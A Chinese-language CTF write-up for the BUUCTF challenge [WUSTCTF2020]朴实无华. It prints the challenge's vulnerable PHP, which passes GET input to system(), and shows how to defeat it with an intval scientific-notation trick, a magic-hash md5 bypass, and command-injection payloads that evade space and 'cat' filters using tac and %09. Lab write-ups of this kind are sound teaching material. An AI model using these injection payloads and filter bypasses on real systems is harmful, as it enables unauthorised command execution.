web buuctf [WUSTCTF2020]朴实无华

1.

根据提示消息应该在头部

2.查看robots.txt (搜索引擎中访问网站的时候要查看的第一个文件)

web buuctf [WUSTCTF2020]朴实无华_第1张图片

访问

 

3.根据头部查看请求头和响应头

web buuctf [WUSTCTF2020]朴实无华_第2张图片 

4.查看,打开网页里面对汉字的编译是乱码 ,在火狐浏览器中定制工具里有一个页面编辑的选项,对页面进行编辑,得到源码:

 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); } //level 2 if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); } //get flag if (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); } ?>

5.

if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
"; }else{ die("金钱解决不了穷人的本质问题"); } }else{ die("去非洲吧"); }

之前的题目里有对intval()的利用,当里面是科学计数法的时候会只去前面的整数

intval(1e9)=1

然而+1会对里面的值进行转换,就不是科学计数法了

所以可以令num=1e9

6.

if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.
"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); }else{ die("去非洲吧"); }

md5的绕过,在弱类型比较下值本身与其md5后的值相同,也需要利用科学计数法的漏洞

0e任何数=0  也就是使该值经过md5后仍然是0e开头的值即可,可以编写脚本,我直接从网上找到值,可以令md5=0e215962017

7.

if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.
"; system($get_flag); }else{ die("快到非洲了"); } }else{ die("去非洲吧"); }

web buuctf [WUSTCTF2020]朴实无华_第3张图片

 web buuctf [WUSTCTF2020]朴实无华_第4张图片

 可以看出这个函数的作用就是过滤,一是空格,而是cat

关于空格的绕过

web buuctf [WUSTCTF2020]朴实无华_第5张图片

关于cat的绕过可以利用tac(tac: 从最后一行开始显示,可以看出 tac 是 cat 的反向显示) 

即令get_flag=tac$IFSflag

所以payload: num=1e9&md5=0e215962017&get_flag=tac%09flag

7.看来是路径不对

num=1e9&md5=0e215962017&get_flag=ls

 

 8.num=1e9&md5=0e215962017&get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

 

你可能感兴趣的:(代码审计)